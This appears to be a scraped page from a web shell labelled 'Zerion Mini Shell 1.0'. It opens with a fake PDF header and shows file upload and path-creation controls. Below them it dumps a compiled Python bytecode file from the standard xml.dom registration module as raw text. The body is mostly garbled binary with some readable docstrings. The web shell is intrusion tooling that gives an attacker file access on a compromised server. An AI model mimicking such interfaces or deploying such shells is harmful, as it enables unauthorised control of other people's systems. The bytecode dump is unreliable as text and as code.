%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.12/xml/dom/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.12/xml/dom/__pycache__/domreg.cpython-312.pyc

�

���f{
��8�dZddlZddd�ZiZd�Zd�Zd
d�Zd	�Zy)z�Registration facilities for DOM. This module should not be used
directly. Instead, the functions getDOMImplementation and
registerDOMImplementation should be imported from xml.dom.�Nzxml.dom.minidomzxml.dom.DOMImplementation)�minidom�4DOMc��|t|<y)aIregisterDOMImplementation(name, factory)

    Register the factory function with the name. The factory function
    should return an object which implements the DOMImplementation
    interface. The factory function can either return the same object,
    or a new one (e.g. if that implementation supports some
    customization).N)�
registered)�name�factorys  �%/usr/lib/python3.12/xml/dom/domreg.py�registerDOMImplementationr
s���J�t��c�@�|D]\}}|j||�r�yy)zF_good_enough(dom, features) -> Return 1 if the dom offers the featuresr�)�
hasFeature)�dom�features�f�vs    r	�_good_enoughr s+������!��~�~�a��"���
rc�P�ddl}d}tj|�}|rt|iidg�}|j	�S|r
t|�Stjjs'd|jvrt	|jd��St|t�rt|�}t
j�D]}|�}t||�s�|cStj�D]}	t	|��}t||�s�|cSt#d��#t $rY�8wxYw)aSgetDOMImplementation(name = None, features = ()) -> DOM implementation.

    Return a suitable DOM implementation. The name is either
    well-known, the module name of a DOM implementation, or None. If
    it is not None, imports the corresponding module and returns
    DOMImplementation object if the import succeeds.

    If name is not given, consider the available implementations to
    find one with the required feature set. If no implementation can
    be found, raise an ImportError. The features list must be a sequence
    of (feature, version) pairs which are passed to hasFeature.rN�getDOMImplementation�
PYTHON_DOM)rz$no suitable DOM implementation found)�os�well_known_implementations�get�
__import__rr�sys�flags�ignore_environment�environ�
isinstance�str�_parse_feature_string�valuesr�keys�	Exception�ImportError)rrr�creator�modrs      r	rr's����G�
$�
(�
(��
.�C�
���b�"�'=�&>�?���'�'�)�)�	
��$��!�!�
�Y�Y�
)�
)�l�b�j�j�.H�#�2�:�:�l�+C�D�D��(�C� �(��2���$�$�&����i����X�&��J��
.�2�2�4���	�&�g�6�C���X�&��J�
��<�
=�=���	��	�s�0D�	D%�$D%c��g}|j�}d}t|�}||krR||}|ddvrtd|����|dz}d}||kr||}|ddvr|dz}|}|j||f�||kr�Rt	|�S)Nr�
0123456789zbad feature name: r
)�split�len�
ValueError�append�tuple)�sr�parts�i�length�feature�versionrs        r	r!r!Rs����H�
�G�G�I�E�	�A�
��Z�F�
�f�*���(���1�:��%��w�@�A�A�
��E�����v�:��a��A���t�|�#���E��������'�*�+��f�*���?�r)N�)�__doc__rrrr
rrr!r5rr	�<module>r7s;��>�� �'����
�	�
�)>�Vr

Zerion Mini Shell 1.0